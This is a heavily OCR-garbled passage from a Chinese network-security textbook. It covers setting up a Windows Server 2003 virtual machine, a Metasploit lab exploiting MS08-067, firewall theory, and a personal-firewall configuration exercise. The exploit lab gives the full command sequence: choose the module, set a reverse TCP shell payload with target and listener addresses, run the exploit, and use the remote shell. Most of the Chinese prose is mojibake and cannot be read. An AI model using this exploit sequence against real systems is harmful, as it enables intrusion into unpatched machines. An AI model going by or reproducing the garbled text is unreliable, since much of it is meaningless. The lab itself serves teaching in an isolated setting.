24, T 200343 H 28 H A, HAERF 4 HIE B, #HXF T Windows 2000 i 1 1R £
B

Windows Server 2003 ' E I X AF 2015 4 7 H 14 HZ5% , Windows Server 2003
2 A PEAS AR A PR B, AL JE1F 50 56 At A7 &5

(1) AN 3 TeAEfr] SP 4 T 19 Windows Server 2003 F5 1% X R AF B A ML F 82 T
KL% F) VMware Jg #IHLH .

(2) FTH VMware FgfAALEA: o H B0 % 2% [n] T2 140 1, B o 00 208 1 R AULAIL ™ e 30T, i B
&l 5. 2.1 Firzs 59 g 2 kg FU AL m) 527 5 16 o 38 2 S ) S SR A A — 1 8 19 R UL AL

(3) FEBC B RA P B AE X (80 (O JF ™ N — 2078, I &l 5. 2. 2 Jiy
71N ) T PR R LU AE 1 3 250 S i .

(4) 75" 15 £ K FALRE e 2 Ve 7 A vh , e B BN I A8 - 3 &5 7 . B Workstation 12.0
R AT, B N — 20 748

(5) FEHR BN &l 5. 2. 3 iR B 3 P HLEAE R G " A e PR LR R PO 5
18 A (iso) (MD 8 T 38 52 0] W 7 R B I AR 2004 19 R Se B i S IR ashn . SR 5 s = F
— TR

(6) WA 5. 2.4 iz, Mok A0 22 18] 2 & 365 8 A1, 5 2 A — 1 R G0 7 o 4
Bl AR PR B fan A ] DL e 805 N — 20 3 L BIVAE KB AL P 8 2 AR G 1 B i -
Ao PRI EAR AT DL A 52 .
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WA 3 FH i 2 KB JOLL 1 2

VMWARE

WORKSTATION TR PERA T AZEMER?
PRO N

‘ e B F(4E ()
@144 RS MERE Workstation 12.0
Bl o

glEsA SCSIfehlzesedl « Eilig@ s
LURS IR VMware ~=maRE i Fadiin
HIEEA -

=0 | [F2w>] LomE |

521 WTEEMYES E' O
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EFENYLE AR AT
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R R
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O HRTERERF(S)
BENENEEE—TaERE.

Bl 523 “HRREFEFIBRERS FA
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HBEERER
1ZAFEE Windows Server 2003 Enterprise Edition -
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111k Windows
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E 524 HHREGFERA
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FRERTAS . . 9

i B L
EEAEER 22587

LB (V)

| Windows Server 2003 Enterprise Edition

g (L):
C:\Users\jiye\Documents\Virtual Machines\Windows Server 2003 | _m:_‘
T2 E > "ENRIn R e B B A T .

B 525 “STREMYV” AE@E

FRELNES “‘_ ‘

HEERE
AHERHIEEMESE R -

UBLES
ARIEEEENE (P): d v

S NBEAE LB (C): 1 =
MBI LB E: i

:L .......... A <t=5@) | [T5W> || B#H |

B 526 “IEsREE"FRE

(9) FEAnEl 5. 2.7 Frzas iy e i UL A A (MD ” Ftim vp WA ] DUAR 4 B © 5550 F 6
A BE A 25 AF O RE AL L B A AF R/ ARS8 19 /2 1024 MBL Bl ™ — 2B " .
(10) FEANIE 5. 2. 8 Flrzs 9™ 4 28 2 1™ FL T 0™ I 2% 3% 43¢ 7 e 101 v, Oy g 480 1L 32 8 ™ fel ]
o 265 b 1k B e NAT () "4 20, B ™ & — 2079 .
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TR A RN R L TE?
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84GE - BN EIFTE(M): 1024 2| mB
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A 4 @ grmEnE:
4GB AT P17
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512 MB 4 HEFATF:
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64 MB O BERU R ERGEHKIEFERTT:
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il <t—$0) | | F-$m> || B#H |

B 527 WEMVAATF RE

Peig 2
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bedsdnESE

O ErRfHEREE(R)
I PHRTE AR i B hiol MUY AMIR « = PHLTES MEBPIEE L
AECH P it

© fERPE ISR (NATNE)
ﬂ%ﬁ,ﬁﬂlﬁfﬁﬁ%&ﬁﬁﬁiﬂ 1P Hihbinis) EHIE SR MRl A R £

O R RENERREE(H)
BE AR ERAEREIEN EAE A BRI -

O FiERkEnER(T)

F 528 WMEEE”FA@|E

(11) FEANE 5. 2.9 Frs B9 “ B £ 1/ O 250 e 28 B F 1 1) “ SCST 45 il e ™ 2 T v, 1€ 45
BMAFHEFE R LST Logic(L) BT, SR 5 M ™ F — 22 i

(12) fEANE 5. 2. 10 Frzs 19 0 £ L 35 28 A7 Bt i 79 K2 400 1% 2 28 B0 e 10t v, [) R 22 4
BAFAERE R SCSICS) B0, S8 5 By ™ R — 207 H 4
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IR (AR (a2 2R SCSI igHE?
IO izfilgs2enl
SCSI {=#ilE:
) BusLogic(U) (RAMETE: 2T8)
@ LSI Logic(L) (&%)
() LSI Logic SAS(S)
|z <t—56) | [ F—sm)> | [ mH |

B 529 EF IOEFIFKE" FE

FESUNES !L !
RS
IR E DI (ki ?

ikl i)

© IDE()

©® scsis) (=)
() SATA(A)

[ am <58 | [ F—$m > o]

& 5210 “EFHEXRE"FAE

(13) FEUNPE 5. 2. 11 Jrz i ™ o £ w457 5 T 1) ™ il 46 308 200 o o 30 8 ™ ) S 5 2 400 s
(V)R ™ — 2 740 .
(14) FEAn P 5. 2. 12 FroR 097 48 7€ w5 75 57 5 T A9 de K 28 R/ (GB) (S) 7 3 Tt
[ A A FH AR I 40. 0, 258 1k B R/ il DIAR IS B O 68 S/ 1 A7 i B . AN il ) 1
* 57 R BC BT A R A =S 1) TR O AR e FH R/ IN g HC 2 25 25 [B) RN SE 8 L O AN = 52 i 1
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MER  EMRECITE—a TN LS e CaRta B nakizah

O ERMAERIEER(E)
|| IR HIRINS B A 2 AE SRR -

O EREEZERTSRAFNE)
IERILAITH DSt AR 5 B A HIRE A RER o

B 5211 CIREMEE

FRERAS B
EERaEs
A A
BAREA M (GBYS): 40.0 =
$H34 Windows Server 2003 Enterprise Edition 932172\ 40 GB

R B AERERE T E(A) -

pEEEECLHES R, BERAEIIERETELREIA » 1R Rl E
Fia=iE, EHMENTEGTIR . SEEEEEPTIEEM TEIEA

O B ST % (0)

© B RS A T ()
BHRETE: TSR N BBIE, BRI TR
EEE e

T (<t—25@) ] [F—sm> ][ s |

B 5212 1% & ® & K/

(15) FEUNE 5. 2. 13 Frzs B9 ™ 48 7€ 8 255 SCAF” 5 1 A [R) A 30 3 B0 RO\ 19 ST 44 B R
S SO A o ik B R — 2B TR
(16) IR 2 42 78 B 48 4 0 i R AL . B 58 i % 81 R 5823 A 3h T )3 L IR
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FRENES l ‘

HERS A
EEEAMF IR A?

R

108 2 GB FEMEIEREEE—MER M - IRE X2 SR
EFEIRIB AL R R AT B EEhE Al

Windows Server 2003 Enterprise Edition.vmdk

E 5213 15 E A X

Ul & 4 B R I L

BEFR"SRBERE, . FFIETTE Windows Server 2003 Enterprise
Edition #1 VMware Toolse

BiEAT RIS
BFR: Windows Server 2003 Enterprise Edition
Vo C:\Users\jiye\Documents\Virtual Machines\Windows Server...
W . Workstation 12.0
BERSG: Windows Server 2003 Enterprise Edition
e 40 GB, {4
WEES 1024 MB
Pl &Rz NAT
HitizsE: CD/DVD, USB {z#ilzE, FIEMN., B+

Vi gl SR B Eie)

Bl 5214 L3 5TRk

(A7) FrEm ELPLIT IR J5 &3t A Windows Setup FUii , WAl 5. 2. 15 o . SR )5, JE U
DINERFIEE T
(18) R LIS K A HANT EERAEMSH Windows Server 2003 R4E
LRPFNTZEIILT , Z2%% Windows Server 2003 B an&l 5.2.16 s,
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(o €0 |_'L__L| Windows Server 2003 Ent...

Hindows Setup

Setup is loading files (CardBus/PCHMCIA IDE Miniport Driver)...

5215 B El

o £5 'ﬁ:‘ (5 Windows Server 2003 Ent... X

Sallecting The Windows Server 2003 family
— provides the most productive
Update infrastructure platform for

Preparing powering networks, applications,
s and Web services

Finalizing
installation

Setup will complete in
approximately:
39 minutes

5216 % ZE Wndows Senver 2008

(19) 4 5.2.17 Frs s Windows Server 2003 RS 50 J5 » — % VMware B4 4
HAZ B —A> 1P Mokl . o 1 J5 1 % S5 it B0k 55 56 &6 20 e 08 0 A 2 17, X A XF R e iy 1P
o hEHE 7 & o fF Windows Server 2003 2481 emd % i A DL a2 BT .

netsh 1nterface IP set address local static 10.10.10.130 255.255.255.0
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¢ CAWINDDWS, system32'\ cmd.exe

Microsoft Windows [Uersion 5.2.37981
(C> Copyright 198528083 Microsoft Corp.

C:“\Documents and Settings“Administrator>netsh interface IP set address local sta
tic 10.18.10.138 255.255.255.8
Ok.

C:\Documents and Settings“\Administrator>

5217 Wndows Server 2008 & 435 &2 3£ 52 5k

2 It . Windows Server 2003 SPO ! HLZE % 2 £ 52 1l .

2. ?H-ﬁﬁlifﬁ
(1) 7 BT5 i fd 1 J3 3 Metasploit Z i, # A5 search 45418 2 1% I 18 A5 L 1Y

-’rﬁﬂ%sﬂﬂiuﬁﬁf’“ﬁﬂ? :

root@ bt:~ # msfoconsole

mef> search HBOB_OET

2 ms08_067 BiHL Y5 - unF .

Matching Modules
Name Disclosure Date Rank Description
explolt/windows/smb/ms08 067 netapl 2008- 10— 28 00:00:00 UIC great Microsoft Server Service

Relative Path Stack Cormuption

MEs 25 Bnl DLE 1 /] Y ﬂ’](ﬁﬁﬂffﬁﬁ&ﬂﬁﬁﬁ exploit/windows,/smb/ms08_067

netapi, Jf HIZBI B AR B2 AL | HbR-F 5 L HAs ik 55 R B 22 755 4 58 4 .

(2) Jo FARR B (A0 5 BLER fr fs A uﬁlﬂﬂi&ﬁ’rﬁlﬁ%)%E%%ﬁifﬁﬁ-_%E%%EEP g — 4

B i L g = X N (1

o dEd 2P A 3 R T BB AR R S A T B
ms£> use exploit/windows/amo/ms08 067 netapl

« BEERENEARFL.
msf exploit (ms08 067 netapi)> show payloads

Tty 2 ey B R ) FE A5 B a0 T
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9 JLAS 0oy 288 for BB, 6 A 119 A O ) FH BB O W TR0 T i X

Compatible Payloads

Nare Disclosure Date Rank Description

generic/custan nonmal — Custam Paylcad

generic/debug trap nommal  Generic x86 Delbug Trap

generic/shell bind top nommal  Generic Camend Shell, Bind TCP Inline
gereric/shell reverse ta nomal  Garerdc Camend Sell, Reverse TCP Inlire

T s W PR 1] 5 X BLANH A0 45 T 1 2 H 3 1Y generic/shell _reverse_tep B DL K2 Hovp

« {1 set payload iy 4 2K 4i5 && Fr 126 96 11 Bk 2 £ .
msf exploit ms08 067 netapi)> set payload generic/shell reverse top
TE S IS R R T
rayloace > generic/shell reverse tcp

(3) BFNE B HEUGE A EEm, R4 T,
e f#i[ show options 74>, i 7~ Pt 7 2 Al B 19 2E {5 B .

mst explolt ms08 067 netapl)> show options
i 5 A R TR AE B E

Module gptions (explolt/windows/smo/ms08 067 netapl):

B A——FH T,

Name Current Setting Required Description

RHOST Ves The target address

RECRT 445 ves Set the SVB service port

SVBPTPE. BROWSER Ves The pipe name to use (BROAWSER, SRVSVO)
Payload options (generic/shell reverse top)

Neme Current Setting Required Description

LHOST ves The listen address

LECRT 4444 Ves The listen port
Esploit target:

Id Namre

TLAE.LH RN SMB iR 55 i WEE R 4450 AR E 4% B o BROWSER., 1iif 1
Hig & E ol 4444, 4K, mﬁtﬁiﬂ\{ﬁﬁﬁTu{ﬂiEHJ@ HORT i B OR FE AT L

¢Mﬁﬁiﬁ¥ﬁ/ 18

o i show targets ff2 . B/RniZBEWN GRS DRI EX G HRES

mst explolt (ms08 067 netapl)> show targets
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fii ] show targets g% J5 . B &G B FSiE4{E B 0T .

Exploit targets:
Id Nare

Autaratic Targeting

Windows 2000 Universal

Windows XP SPO/SPL Universal
Windows XP SP2 English (Alwayson NX)
Windows XP SE2 English ()

Windows ¥XP SP3 English (Alwayson NX)
Windows XP SP3 English (X)

Windows 2003 SPO Universal

Windows 2003 SP1 English (NO NX)
Windows 2003 SP1 English (NX)

10 Windows 2003 SP1 Japarese (NO NX)

L R T 25y 67 M HAR & 11 B, Horp gl A A YOS5 22 %6 1Y B AL
Windows Server 2003 SPO, H.JF 58 7, 3X 76 F iy B b & ZH 3. 55 0 FX) i 2
Automatic Targeting, ¥ /R 12 Hh A H 0T UL B s HIWr B AR 258, - | st F & @& 1 H
PRIEIFEAT I . MR X R AE N HGE H AR RS ISR A0 AR A, an R B EE H
RN SR I E 0 2SN 2 DIVA S DR o =7 N [ 5 T E ) Bvivke € 7 [0

(4) HYE H AR OCAL B 2 3E Y A Ak, BRI EaF .

o ffiJH set rhost Aig4 1 & HinHhk .

[~ = -]

L0 T o L T & N L.

msf exploit {HBOB_OGT_I’Etapi}> set rhost 10.10.10.130
WE AR .

rhost=>10.10.10.130

o {fiJH set lport 2> 15 B W Wy v 1
mef exploit (s08 067 netapi)> set lport 5000
WE G AR .

Trort= > 5000

o ffif] set lhost fiy 41 B W Wr it .
msf exploit (rrsOB_UG?_retapi}) set lhost 10.10.10.128
WE G BRI .

Ihost=> 10.10.10.128

o fiJH] set target 2 E HARRGMIEH,

mst explolt (ms08 067 netapl)> set target 7
o 144 o



WE R BN E .
target=> 7

TEHT I © 2 F BB 19 s o 12 445, fE X AN AT I8 T A T 2y TP fded:
S 1 AR R I 2 05 L R 143 ] B ] R AL B TP Mk R 10. 10, 10. 128 [ BTS5 HLIY
5000 ¥ o 28 s Tty v 1) 26 AN B8 O & 58

(5) BWEAH T FOCKL AR 25 D e W BB O, AT R IR A 41k . BiRar 2k,

UK show options iy 2 A8 A JIr B B 1 2R B

mst exploit (ms08 067 netapi)> show options
PR JE SRR TR E B T

Module gptions (exploit/windows/amo/ms08 067 netapl):
Name Current Setting Required Description

RHOST 10.10.10.130 Ves The target address
RECRT 445 Ves Set the B service port
SVBPTFE. BROWSER Ves The pipe nare to use (BROASER, SRVSVO)

Payload options (generic/shell reverse top):
Name Current Setting Required Description

THOST 10.10.10.128 Ves The listen address

IFCRT 5000 Ves The listen port
Exploit target:

Id Name

7 Windows 2003 SPO Universal

A DLE L I e T O 280 B O P AR B U . R A B I
(6) i I a2 AR ESEN L. BIRagSin T,
o i exploit g% KLz &L .

mst explolt (ms08 067 netapl)> explolt
i Y a2 Ja a2 AT H oG B F

[#* ] Started reverse handler on 10.10.10.128:5000
[* ] Attermpting to trigger the vulnerability...
Microsoft Windows [Version 5.2.3790]

C) Copyright 1985 2003 Microsoft Corp.
C: \WINDOWS\ system32>

Al DLE L IEAR RAE R B B B 230818 T Hir Ry &b JF BB S i 217
Yebr A s # 3 Hir RS2 iE Y Shell .t 2 Hbs RS0 emd 7247 .
o i FHIIEAY Shell 34> ipconfig/all X} 38 B £ i #1475k .

C:\WINDOWS\ system32> ipoonfig/all



fii i Shell f54> ipconfig/all Jar 2 i1 BT .

Windows IP Configuration

HostName . . . . ... ..........:root—tviB62ubeh
Primary Dns Suffix . . .. .. ... ..

ModeTre . & v v v v e e e e e e e e e Unknown
IPRouting Enabled. . . . . . . . ... No

WINS Proxy Enabled. . . . . . . . . .. No

Ethemet adapter Iocal Area Connection:
Connection— 7—" specific INS Suffix.

Description . . . . . . o 0o ... .. : Intel (R) PRO/1000 MI' Network Connection
Physical Address. . . . . . . . . . .. : 00— 0C- 29- A4—- BF-4A

HCPEnabled. . . . . . o o 0 0 o o 0 . No

e | T : 10.10.10.130

SonetMask . . . ... ... ... ... 1 23D0.235.235.0

Defanlt Gateway . . & & & & o o o 0 L : 10.10.10.2

INSServers & v v v v v v v v e e e e e s : 10.10.10.2

APV A G e R E A H bR R GCHEA emd Ay AT —FEHLE I 1 G LA
H AR &R Ge i AR A i 2

o fF b S e o A Y P AN 2 SR
o [ ARG B Y In] el DL R AR DR T
o ERPOGRSIRE.
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s 6 3 B RERSE S

6.1 P KhEiHi AR

Bl K S — B R A R o A 37 o SR — ol A IO O R A ) L B
1 . internet) 48 FF 177 1 o T 0 75 ph 6 150 5 I O AR I 5 Lo 0 24 50 A B 74 3 0 245
e 3 — 201 o B I 28 20 1 9 R0 24 30 1 AT 10— o7 1 5 o LU
7 Lk T £ o R L R R A L I AR T P R 4 5 4 I 2 22
08 7 M — 1 S 5 T R 5 1 2 4 R

6.1.1 PBANEFAREARBS

Bi7 K 55 S8 — A W 265 2 4= i A) s & S e P A I 285 Cal ) 3k X)) i B BEG ) 22 [a] 353 2 PN A
) 285 1) 4% 750 43 2Z (8] 52 il 22 4 B 37 19 2R 48 5 i A Eh A A A IR el 8 O O L 68 22 2 ML R A
55 o) M5 a5 L [a)  hl . AE 9 45 b e ol (g B HE 47 20 M L B 5 RN B o) o DA T A 4 o) 2%
BITH A,

Bi7 KBS (A R 254 E AR IR JLASER 4 .

(1) Btilfe #% H %% (screening router) : & J& B K85 S FEAS 198 1748, AT LAl i i 4% 52 3.
DL MR SEEL . bR #E B #8 7E A AN 3% 42 1) i — 381 38 B2 R r A 4 SCAR 4 201 A 1 38 1
R 2r

(2) BONEMLM S (dual homed gateway) : IXFHECE & FH — 5 %A MR MK Ay 2+
PSR i o FEPE R R 25 B 5 32 O30 18 PR X 2% 0 A0 31 I 28 A 3% » By KO8 P mT DL &%
KR PR AR 555

(3) Bt EHLM K (screened host gateway) : Bfild FHLW 5 5 F L8 IR 22 4. i H
7z o IR R S ) 3 A s ] SR ph 22 2 A b i ) AR R E

(4) # bt F M (screened subnet) : X F 7 32 02 7E PN 3515 0 26 1 A0 358 [ 26 2 [a] 2 57 — >
% P 5 10 I, R 5 20 A 0t D R ER AR X — - 43 il 5 PN S I 4 AR R X2 O

Bi K 3G VR AN T

(1) HUIH B3CHE 28 AT An] A g% BB 7o 17 AR 21 i 5

(2) B¢ AR P R FRAE B 0 28 22 20 XF A0 38 T P 175 Tn) P 8 00 2465 i o BR il

(3) 5 il PRAT M L | T AR A

6.1.2 ™ ABHNIE

S S 7 L5 I S 0K VTR b o 8 i 2 A
JH
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6.1.2.1 KMNP;KES

5 10 5 K i 2 oy T 00 22 4 S 00 S 2 P 8 A AT S AL i R 4 22 4 T L. AR
RO I (052 2 MU Csecurity rules) B4 6 26 o 412 (L3 S (377 1) 45 0 R FH 226 38 35
BT ISR . RS HERY 4 ARG L 7 I 45 R AR B P R LI R 2 A, K
I 155 2 5 00 T % 53 24 s 0 0 B O T L Sk 1 S [ 0 6 10 125 I 0 R o 5 4 .

K 19 197 K 35 LA A AR A

(1) = S W B e 2 W S 0 S i 22 4 W 3o 4 A5 o 4 AL 10 3 2
i 2R RS % 4

(2) F3E 2 4 MO 570 3o 7 B R M U A8 T T L e I o kA U 30 £
T 5 A B0 T AR B 0 7 3 = AL (BN B R 0 0 4% 5 4 PR R 5 T
20 85 5 HL U

(3) {6 £ 7 L% 0 S48 T8 . 240 ] % 20 2 L 1) PR 05 4 150 245 , T L B 7
AT 5 7 A T B L 15

C4) A B U 10 % 52 3 8 2R 205 3 0022 4 W B0 2% 410 9025, O30 7 T o of 1
T LT ot 200 46 5 B, 7 40— e i 24 R 258 10 22 e 1 0

(5) QI TR 3 4 0. To AN 7 o dk e A 05 P, R B 2 4 4 R
R BT 5 2 U L 7 2 1 I I T 4%

(6) 523 B B R AR IS HE . 25T R 5 B 9 I i 440 7 32 12 B s i 7 1 T 7 ok 2
e S T 5 A 97 i L) o i 22 e U

(7) B RO HERAAR T HERLAR A TT L0 BT 3% (1 i 0 20 8 R 5 0 11 2 4 19 3 1
P37 i ) R S B

(8) RO A GAG I . &t X 25 S BT ot + B K3 2 0 30 00 904 T80 o I A B % e
P R, — L o VA T 91 A R 1 35K L T o — ek R

6.1.2.2 K ES

U 7 K S g B 118K v 2wl R B9 — K T R s R By K B v K e I B Y B
REAH 4 & L BR 1R AR Al B K e T RE » A f= K62 B AL DR 97 55 T RE o Bt ol i R . s i B
KGRV Y A5 G2 R T Web 5 BY D G4/ 7 » 1248 4 v LA 2 25 H AR 4 B 0] 56 D) 35 1% 175 00 9E AT
s T L Applet F1 ActiveX 85 N 28 19 BELZE , 1 FH 7 a] DLEF X 58S ) 3l g 22 4 75 BH %€
X e N2 [A] I DO F M IE e SR B IEE . 7o izddi bk vl DL B P &L 1k
ol A RS AN 0 (31 5 T (= N2 TR 2 ] Wi Y G - S P Tl /@ B T ST M D NG = oL AR R o P S BN
1Y B 78 8, REE 1 E AE 224 I 18] PN BHL 1R &8 B i3+ 3L, gtk C &&in 17 2l iy
AR R 5L

L S K 1) 5 T BE 0 AN RO B A 0] 7 K ks R Y i 2 b A B 2 RE A 1 1 4R B ) g
WA o K. LA RN +5 20 6], FH P n] DL g @ R 2 T o 75 2 4 R 0, iy WA 46 5 22 9 22
W 5 [ Bf L o] DAk 5 e BRI ik i 45 0 =0, S 40 A HB7 KO B B 9 S 4, AL 4G B R PR B
S5 Bh D REAE N ] DUl Sz v B GO0 P AT DL PR e Rl sz @ TS ALY B R B

FERAR DT b v 1l By K AH 2 A0 8L, O 1Y T R AR 4 b HE A 76 LA e 3t v, AH N 1O 22
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PR R 2 F0 4 HE 52 W 1% 02 1 i Iy oK 0 RV D H B 1Y R B BRI i B K
bt 0 P S 1 22 AR S AR Y a8 5 L X6 X S0 AT i 1 7 K 8 o ] KT T A [ g R DU
ARR s 428 FH 7 AT LA 2 4 vy 0t A R AR G A D 48 of 3] X H SR A DR 3. g AR XS ol Y ik
T 1k A B 8 2 A T E B B A T R i R s R P AR T AR DL T Rl LA
i iz B T e SCH N AR 5% 1 BT R g

6.1.2.3 LK KEE

VLR BT K8 52— 3 & R A NP B 22 i v 10 0 9% ) 28 2 = i 7 T H2. L 7= i
filA T S R X 2% 17 1] ) A W 4 HOR L 100G i e SR T K B R Y R T I e B A A5 P I
ST A NG R 1T /A N o 7 o

VLR Bl K hs B U R FFRAE .

(D) MRS EEEAR. IS EEREN G RS T . 5B E S ER,
Prdr bR  QQ %55 UE R A H VR AT IR S L R4 A RS N BRRA 55 B B(E BN A

(2) W%Z 29 A RER BE RS A m AR B8 4 Pl 4 955 8 W
JE AN R 75 2R FH P 00 IR 268 22 42 e 45 5 ek A0 IO 268 50408 37 388 67 4R R 7

(3) FE P ) 45 il S R FN N 28 H ZR 90 Sk EOR o P n] 6F A - [ 26 K0 D) 7 47 DG JE i 8
PRk S A & SE U5 A 8 SR VR TEAIC Sk W 25 a5 B 1m0« B B AR 5 U5 [l A1 R 985 52 A5 (7]
X TEAR ) TP Hbhk .

(4) W25 [l 4 ] 2k U8 A R Ry PREZC s 2 42 . il 3 13 8 By K 8 45 B b i1 IX 3 37 1)
PRI L AT DARH (kAN BP9 3 A 32 45 ) I BE 1 1] TF 3 BL . 15 Tk 0 2% 25 ) PR IE B0 22 4.

6.1.2.4 ZS1IMEE

A Ll A — 3 4 L3 B HE A S AT B L A B B 4 A A . e AR R A
N b AN [R) 55 20K 0 78 & 4 20 - A R B IR X 2 g W 455 L N FH R T 175 ) ) 2% AR BIR 42
il I BE 7 DL S R IR B e

G L YRR E A an B FRAE

(D) mEefiy. iy N M48 B ks, 5 80 R % 72 e R S F a3 B DL =
fin % SRR P B A A X 28 AT 2 T AR 7 . JF Hoab s i 1 R 28 15 I s 4 = H g
BB AN B Sl 2 U S e ol I 4% 2 4 S T RE

(2) Bz ta . By k4 £ 9 sl 08 fi g F 59 X . P U7 el 429 £ I 3 B Y 85525 B 3l
LA B 1k P a5 s i S o B B RS

(3) Dy IRl ys B . 5 B P 7 W8 I i B B4 At R o, okt A B B 0 (R B al s A

(4) RKREP5 k&, @ 2R LIRS HENER., RaEtP —HAKRKL JBEY
[B] 5 7 17 1) X 2%, 2 e sf 22 300 A 1 XF A 3l A5 U5 R AR Ja X e i AR R 1T H 3l £
A LRI P M 4ad {5 g 4. X EERH P EENARLDS RERIFFI A2, B
REAELLE 3475 Oaetg i & R 5 AR s @ ad my b AR 3 B 2900 1
BEE » 38 BN [V R BE b DR 37 P &2 200 H iy s @ RE N8 FH 1k 40 vKim] . B1O | ) 2% #iffar 55 5 UL R
X H P E s im A AR SR A 4 1 EE 2 A ik 2 80, I 5 o 6 i HE 25 0 P 2 R T4
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HAER B SRR IR ALAY H /Y.

(5) HHEPTREAR, BIRTFHEARSMAE KEHEAR T K. BEAERMOTALSSEREE
By, ISR RENAY Internet 3 ZIPDIRAS L BERS I DL . 6 gOH 7 Rl DL SE 4 40 B0t @
il A R Y TP A 3 8 R 0

(6) A 7 iz AL I Fp el DIAR 45 B B9 5 223508 25 A 7 U 7] 55K R R Ry 38 R A9 ARLRR , —
FBEK U, AR 20 8 0w LA AR 1k 7 1) ) 286 ok P A1 52 T0s i Rl REE .

6.1.2.5 File B Kh%

Hir AN N B K3 B MR S s Y 35 80 H0OR e A R W 4 M 25 0 42 . N B A AR i R
D o o X268 DR 0 B TN e o Wi XK 7 ' L A2 7 DR 37 S m R P g A TR DL SR i 4 1
)L RA . il adad IE AN T A 2 5 ) ik 55 il R $2 S T P EL B E . W
JIE BHY SRR T R H R e 55 28 e B, PR 9 B K 5L QQ % 55 R I 9 K 5 S5 AE B A Bk
(1) By k% 0k 48 81, oy KRS $ 045 B 517 RN 138 P B AR I . B Rk R AR )
el 7 DY RE L o] LLAE PRI P 2 [a) e A7 U148 . 45 B8 53 o] DLSRAT Bl X8 B9 B A D RE L 35 P
A RE AT AT 5 B R AN RE IR 3l /45 1R Bl K AR IR HY BT K 3

(2) RFMARGHFEREAR . W5 AN ERFROR A 7247 R 4805 3 10 i fi , X%t
FEV AR R S 33 dmi B 7 b A7 43 40 Rz a2 7 o ml BE 9 K S 55, W m P . e EOR 32
m XAl EERE I A iR I RE T .

(3) 1IE Thag e, T 1IE $24t 7 A 9719 COM 4 7F 9 422 11 . nl g ok % B R )7
PP . e DhRE X E A TE £ 0 MRy 7K A, AR A 8 S BRIy, W m A
& .

(4) A, b7 AR S 9 25 W) o . 32 0 KA . a] DU T2 iy JR 24 R ) 2 . R v 2 R ik
R | e AU |5 1 35 19 ) oty b hE % 3% L £°F 50 5 1 T TRl 2> i 2 1

(5) B4, By O RENE L Hil 2 & I R DAL ] [ 2% . 4 0 #E ¥ 177 ] I 268 19
Af i XF 2 5 175 [n] i B e 35 A7 4G A o R 4 B B 1 7 ) R0 ] e 5 2 45 AU IZ DT ). DAAE R BT K
5 RUR X N AR Y AT R A A X T G HE ) DLL ks A . E T Bl &, By ik T K4
R He 3 AIE S v g [R] R 4%

6.2 K MR K KSSE 58

S5 AN A

KB KB N R G .1 &,
PC(Windows XP/Windows 7).,1 & .
Pl > 2EoR

(1) s ga i~ 2 2 b K SR A RN .
(2) ZAGE K MBIy K Jiai (A i
« 150 -



(3) FAHBLE 1T R IR AR EAE R .
(4) Ahy- o~ e & .

I 9 AT 55

W AR FE R DL R R -
(1) S KW By K St 11 22 28 I FEAS T
(2) “F 2 F K M B K DR A7 R G % 4

S0 A
A Windows XP/Windows 7 #:4F 24 1Y PC.
Pl A

(1) By ki AR M A,
(2) MBI,
pRlre A

1. REEE

RV EANE 6. 2.1 Fras AL 45 )5 3l BB R e AR ) 38 g 3l ik 35 e AHC At
BB LA

HATH |E‘H*F.FE‘1EE| Eﬁﬂ‘%ﬁiﬁil EIE‘E‘IE' 4
== ‘ ‘ MMz E

v FHHUE B 2hE 208 K (28] (%]
- BRI

[ VBT SRR 5 P8, FTERMIP iR RIX TR
BT = -
BEPMAL [T0 246 21 29 | Bz | | &=
ERBE

v RZEES  |E\Program Files\SkyNet\Fire [iitllﬁ ] [ =T ]

L we | [ =x ]

B 621 XM AEEERAE

e She B e LG Bl E shby K. BN A AR S, —RiEFE AR 3. XWEL
e 7 K 9 H A . 0I5 e — AN B 1) S AT LA S A A ) Ry B R A SR
FHFRFY o Jmy 3 ) bk 152 78 AR H: At 5 ] DJOAR 4h 9 2468 B85 R 2 - H il 13 ¥



2. 2R E
ST Y K 7 K S 09 e i) o R E L B 4 2R B R E TR B
Sf P BT T AE A A AU L an (&l 6. 2.2 Fiw .

EP e AR

EEAE  XTF W

K622 Z2RHRERA

o L EFHIEHT 58 MG AT /M, 7o 17F 5 8 R A @4 31 55 AL 5 T A 31 53 B3R 0 1
PP AR 55 ARES BB AR AL )X 2E R 5
o LRI, R R b AL R AT LUy ) 3 AR S5 L AHAS a4 v ) A AR 55 L
AN SOV B X A 1 S AIL T ) X 2 iR 55 o W] ) as AT 3 285 00 ) A B
o EEAEHHNT Z G RO A ) S0 i 1, SRy 38 R A E B A B LA AS BE T ) AR
THEDLER L %) I 28 I =2 1R 55, I 2% v AT Ao 31 B LR AS BE A 4% B A TR A 7E
HE LHGE S T TCP/IP UpL A H P o] LA TP B0 iy 4 S8 00 ) 35 8 AN O
iy » A BE 2 T BASBE VT 7] X 45
Xl S NP — e L2 g i o .
3. VAEERFRTNMNEZNIRIZE
TE B E 1Y P e 3, ] DLz Bz v R 2l o TCP b2 UDP il ig5 ] (X 2% . DL
TCP W] LA ) 1 an i 6. 2. 3 s o SARFA SRS - B2 e B 1 o] FH P sl 28 (- #24E .
4, BEX IP #0)i& B
TEE P i gz O e, FE5T A E TP B 9 8RR B, X — T B, wl
UL A A7 30 G 5 40 M B 1P MFJ XF Bl A A AR o] DA B AR 4 AE ikl 6. 2. 4 TR .

BEXIPRM LB XE T I6B%w J (Ca)
i |28 [rige I:Hr“llﬂfr?m e

. ® aAWECHping@m 2 HEMUESNE IOF &
BABRFHERMERRRE L) B 3 © AFROSEE @ PMIOPEREICOF & £/
PFWLivelUpdate EXE BE:2.72.51 ¢ (Em) 2 ©  AFREREE EEEE NICOPIIOP & FF
ﬁﬂﬁﬁ:ﬁ:'\ﬁngm | . g O ® | ArEEPREFpings 2480 IO (& |[SHEF
Files\SkyNet\Fire\w all\PFwLivellpdate EXE il ) Fgﬂ;gg M Hpingd S4m| _ICRIP & A
7 |20 FA.05. 0103 ¢ [ M © ByEICIPEE ICHP & AT
|B #8143 : C\Program Files\Tencent\qahQ0.exe ? @ FRiH IGNP I IGHP &
o L @ ICP iR |TCP & |{E
Services and Controller app B4 5.1.2600.2 :f O ® | sawEsFAin Eﬁiﬁ:ﬁ']ﬂ%ﬂﬁﬁ?'{ﬂ b SE
@ BE12 : Chwindows\ system32\services exe E;, et B @ fm#!%ﬁﬁﬁlﬂﬂ*ﬂﬁﬁﬁﬁﬂﬂﬁiﬁmw & S
“‘- F © ZITBRMCONSEARMATIC & B
Spooler SubSystem App MA:5.1.26002 ¢ o8 ¥
 Cwi A — BTPINGE: & EFEME b 26T, NP SHE=E T ICP/ TP, #ie
